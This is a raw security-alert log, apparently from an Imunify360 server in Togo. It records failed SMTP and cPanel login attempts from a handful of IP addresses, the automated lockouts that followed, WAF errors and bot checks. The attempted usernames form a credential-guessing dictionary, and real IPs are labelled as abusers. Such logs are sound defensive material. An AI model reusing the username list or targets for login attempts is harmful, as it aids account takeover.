country_id: 130758
description:
2026-06-12 06:48:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:20100: 535 Incorrect authentication data (set_id=domino@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:48:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:29746: 535 Incorrect authentication data (set_id=cmd@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:48:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:38830: 535 Incorrect authentication data (set_id=poczta2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:49:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:61498: 535 Incorrect authentication data (set_id=narsil@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.234.157.254
country_id: 3017382
description:
2026-06-12 06:50:06 dovecot_plain authenticator failed for H=marylou.nos-oignons.net (1cbh4maxb0vtdrbb5) [89.234.157.254]:33316: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:49:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:40136: 535 Incorrect authentication data (set_id=0123456789@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:49:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:48222: 535 Incorrect authentication data (set_id=narsil@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:49:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:53702: 535 Incorrect authentication data (set_id=proftpd@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.234.157.254
country_id: 3017382
description:
Jun 12 06:50:04 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.234.157.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:49:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:5798: 535 Incorrect authentication data (set_id=ircd@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:49:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:21642: 535 Incorrect authentication data (set_id=eyal@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:49:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:12300: 535 Incorrect authentication data (set_id=cpt@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:49:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:50:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:58718: 535 Incorrect authentication data (set_id=excellence@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:50:23 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:50:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:4358: 535 Incorrect authentication data (set_id=cls@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:50:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:48586: 535 Incorrect authentication data (set_id=pq@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:50:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:39902: 535 Incorrect authentication data (set_id=yz@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:50:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:27300: 535 Incorrect authentication data (set_id=liuzheng@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:50:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:13480: 535 Incorrect authentication data (set_id=yardbirds@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:51:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:23056: 535 Incorrect authentication data (set_id=master123@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 06:51:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.96.179
country_id: 2623032
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/logo-fnfi-qk5ekij353kqebovebmfl591pdpmo8pkd2jo4k813c-300x188.webp HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:51:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:20692: 535 Incorrect authentication data (set_id=ct@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:51:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:51:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:5356: 535 Incorrect authentication data (set_id=marlene@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:51:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50042: 535 Incorrect authentication data (set_id=wl@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:51:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:60946: 535 Incorrect authentication data (set_id=montenegro@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:51:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:55646: 535 Incorrect authentication data (set_id=marlene@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:51:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:45146: 535 Incorrect authentication data (set_id=weatherford@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.129.22
country_id: 660013
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Inclusion financi\xc3\xa8re et autonomisation des femmes\xc2\xa0: Victoire Tom\xc3\xa9gah-Dogb\xc3\xa9 partage l\xe2\x80\x99exp\xc3\xa9rience du Togo \xc3\xa0 Gen\xc3\xa8ve | TOGODAILYNEWS&siteId=1&rec=1&rand=868233&h=14&m=51&s=59&url=http:/togodailynews.tg/inclusion-financiere-et-autonomisation-des-femmes-victoire-tomegah-dogbe-partage-lexperience-du-togo-a-geneve/&uid=0&pid=13019&visitorId=b8e6b8b144affccb&fvts=1781247120&vc=1&idn=0&refts=0&lvts=1781247120&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=1495&pvId=qxSNke&browser=Chrome_57&os=iOS_11.0.0&device=Mobile HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:52:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:41918: 535 Incorrect authentication data (set_id=mgames@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:52:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:14258: 535 Incorrect authentication data (set_id=whitehaven@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:52:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:12734: 535 Incorrect authentication data (set_id=smt@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:52:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:37204: 535 Incorrect authentication data (set_id=noha@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 06:52:31 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:52:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:61752: 535 Incorrect authentication data (set_id=ical@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:53:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:18336: 535 Incorrect authentication data (set_id=j2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:53:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:62048: 535 Incorrect authentication data (set_id=engagements@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:53:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:5382: 535 Incorrect authentication data (set_id=relation@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:53:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:2114: 535 Incorrect authentication data (set_id=sabino@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:53:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:4796: 535 Incorrect authentication data (set_id=stg@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:53:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:13102: 535 Incorrect authentication data (set_id=hubble@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 06:53:24 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:54:16 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:54:23 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:54:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:60936: 535 Incorrect authentication data (set_id=atlasit@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:54:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:61550: 535 Incorrect authentication data (set_id=perla@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 06:54:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:54:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:10454: 535 Incorrect authentication data (set_id=tele@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:54:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:16862: 535 Incorrect authentication data (set_id=telep@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:54:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:53914: 535 Incorrect authentication data (set_id=ts6@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 06:55:21 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:55:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:8318: 535 Incorrect authentication data (set_id=glee@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:55:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:64354: 535 Incorrect authentication data (set_id=presiden@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 06:55:27 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:55:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:45892: 535 Incorrect authentication data (set_id=olympus@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 12 06:55:39 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 06:55:48 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 151.240.254.46
country_id: 6252001
domain: belali.tg
description:
IM360 WAF: Request body parsing error||err_msg:XML parser error: XML: Failed to parse document.||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:55:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:53766: 535 Incorrect authentication data (set_id=chenqian@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:56:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:46084: 535 Incorrect authentication data (set_id=gm@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:55:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:13360: 535 Incorrect authentication data (set_id=writers@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 06:56:08 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:56:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:19578: 535 Incorrect authentication data (set_id=testar@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:56:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:55508: 535 Incorrect authentication data (set_id=htt@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:56:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:59064: 535 Incorrect authentication data (set_id=seki@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:56:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:64716: 535 Incorrect authentication data (set_id=estadisticas@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 06:56:31 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 120.29.109.225
country_id: 1694008
description:
[2026-06-12 06:57:16 +0000] info [whostmgrd] 120.29.109.225 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 06:56:28 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 06:56:27 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:56:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:37802: 535 Incorrect authentication data (set_id=abraham@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 12 06:56:20 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 06:56:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.77.133.8
country_id: 174982
description:
[2026-06-12 06:57:34 +0000] info [cpaneld] 5.77.133.8 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 06:57:40 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.252.69.112
country_id: 2017370
description:
[2026-06-12 06:57:20 +0000] info [cpaneld] 109.252.69.112 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 06:57:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:58:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:57242: 535 Incorrect authentication data (set_id=clif@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:57:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:50630: 535 Incorrect authentication data (set_id=rent@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.212.82.185
country_id: 630336
description:
[2026-06-12 06:57:41 +0000] info [cpaneld] 37.212.82.185 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:57:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:29976: 535 Incorrect authentication data (set_id=t%@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.16
country_id: 6252001
description:
205.169.39.16 - - [12/Jun/2026:06:57:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116697&pdata=http%253A%252F%252Fwww.afriquerevelation.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781247458 HTTP/1.1" 302 0 www.afriquerevelation.tg "http://www.afriquerevelation.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.16


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:57:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:47368: 535 Incorrect authentication data (set_id=caz@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 06:57:32 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 06:58:32 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 06:58:23 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:58:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39268: 535 Incorrect authentication data (set_id=dolphin6@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 06:58:33 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:58:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:42334: 535 Incorrect authentication data (set_id=promotions@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:58:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:3310: 535 Incorrect authentication data (set_id=firmy@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 06:59:35 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.28
country_id: 6252001
description:
205.169.39.28 - - [12/Jun/2026:06:59:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673929&pdata=http%253A%252F%252Fceni.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781247573 HTTP/1.1" 302 0 ceni.tg "http://ceni.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.28


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 06:59:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:59:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39820: 535 Incorrect authentication data (set_id=etichete@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:59:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:9446: 535 Incorrect authentication data (set_id=loco@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 06:59:30 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:59:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:34354: 535 Incorrect authentication data (set_id=other@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:06:59:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263661&pdata=http%253A%252F%252Fmonde-ai.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781247562 HTTP/1.1" 302 0 monde-ai.tg "http://monde-ai.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [12/Jun/2026:06:59:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7235783&pdata=http%253A%252F%252Fmonde-ai.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781247568 HTTP/1.1" 302 0 monde-ai.tg "http://monde-ai.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
